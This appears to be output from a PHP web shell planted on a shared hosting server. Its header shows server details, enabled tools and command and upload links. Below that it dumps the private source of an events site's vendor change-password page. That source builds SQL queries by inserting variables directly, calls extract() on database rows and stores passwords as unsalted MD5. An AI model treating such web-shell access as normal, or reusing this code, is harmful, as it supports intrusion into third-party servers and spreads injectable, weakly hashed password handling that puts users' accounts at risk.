Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/eventsbyshubhchintak/vendor/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); ?> <!DOCTYPE html> <html lang="en"> <?php include 'includes/db-conn.inc.php'; include'includes/head.php'; if(!isset($_SESSION['usermobile'])){ echo "<script>window.location = 'index';</script>"; } $usermobile=$_SESSION['usermobile']; $userid=$_SESSION['userregid']; $username=$_SESSION['username']; $sql=mysqli_query($conn,"select * from tbl_vendor where vendorid='$userid' and number='$usermobile'")or die(mysqli_error()); $row=mysqli_fetch_assoc($sql); extract($row); $username=$row['name']; $usermobile=$row['mobile']; $categoryid=$row['category_id']; $sql2=mysqli_query($conn,"select name from tbl_category where id='$categoryid'")or die(mysqli_error()); $row2=mysqli_fetch_assoc($sql2); $categoryname=$row2['name']; ?> <body> <div id="preloader"> <div id="status"> </div> </div> <!--TOP SEARCH SECTION--> <?php include'includes/header.php'; ?> <!--DASHBOARD--> <section> <div class="tz"> <!--LEFT SECTION--> <?php include 'includes/leftsection.php'; ?> <!--CENTER SECTION--> <div class="tz-2"> <div class="tz-2-com tz-2-main"> <h4>Change Password</h4> <div class="db-list-com tz-db-table"> <div class="ds-boar-title"> <h2>Change Password</h2> <!-- <p>All the Lorem Ipsum generators on the All the Lorem Ipsum generators on the</p> --> </div> <div class="tz2-form-pay tz2-form-com"> <form class="col s12" method="POST" enctype="multipart/form-data" action=""> <div class="row"> <div class="input-field col s12 m6"> <input type="password" id="password" required="" pattern=".{6,}" title="Six or more characters" class="validate" placeholder="New Password (six or more characters)"> <span style="float: right;position: absolute;margin-left: -26px;padding-top: 11px;"><i id="pass-status" class="fa fa-eye" aria-hidden="true" onClick="viewPassword2()"></i></span> </div> <div class="input-field col s12 m6"> <input type="password" id="confirm_password" name="password" required="" class="validate" placeholder="Confirm password"> <span style="float: right;position: absolute;margin-left: -26px;padding-top: 11px;"><i id="pass-status" class="fa fa-eye" aria-hidden="true" onClick="viewPassword()"></i></span> <span id="message" style="float: right;font-size: 12px;"></span> </div> </div><br> <div class="row"> <div class="input-field col s12"> <center> <input type="submit" value="Submit" class="waves-effect waves-light log-in-btn" onsubmit="validatePassword()" name="changepassword" style="width: 101%;font-size: 16px;"> </center> </div> </div> </form> </div> </div> </div> </div> <!--RIGHT SECTION--> </div> </section> <!--END DASHBOARD--> <!--FOOTER SECTION--> <?php include'includes/footer.php'; ?> <!--COPY RIGHTS--> <!--SCRIPT FILES--> <script src="js\jquery.min.js"></script> <script src="js\bootstrap.js" type="text/javascript"></script> <script src="js\materialize.min.js" type="text/javascript"></script> <script src="js\custom.js"></script> <script> $(document).ready(function(){ $('#password, #confirm_password').on('keyup', function () { if ($('#password').val() == $('#confirm_password').val()) { $('#message').html('password match').css('color', 'green'); } else $('#message').html('*password not match').css('color', 'red'); }); }); </script> <script> function viewPassword() { var passwordInput = document.getElementById('confirm_password'); var passStatus = document.getElementById('pass-status'); if (passwordInput.type == 'password'){ passwordInput.type='text'; passStatus.className='fa fa-eye-slash'; } else{ passwordInput.type='password'; passStatus.className='fa fa-eye'; } } function viewPassword2() { var passwordInput = document.getElementById('password'); var passStatus = document.getElementById('pass-status'); if (passwordInput.type == 'password'){ passwordInput.type='text'; passStatus.className='fa fa-eye-slash'; } else{ passwordInput.type='password'; passStatus.className='fa fa-eye'; } } </script> <script> var password = document.getElementById("password") , confirm_password = document.getElementById("confirm_password"); function validatePassword(){ if(password.value != confirm_password.value) { confirm_password.setCustomValidity("Passwords Don't Match"); } else { confirm_password.setCustomValidity(''); } } password.onchange = validatePassword; confirm_password.onkeyup = validatePassword; </script> </body> </html> <?php if(isset($_POST['changepassword'])) { $password =md5( $_REQUEST['password']); $sql1="update tbl_vendor set password='$password' where vendorid='$userid' and number='$usermobile'"; if(mysqli_query($conn,$sql1) or die (mysqli_error($conn))) { echo "<script>window.location = 'myprofile.php';</script>"; } else { echo "<script> alert('not inserted');</script>"; } } ?>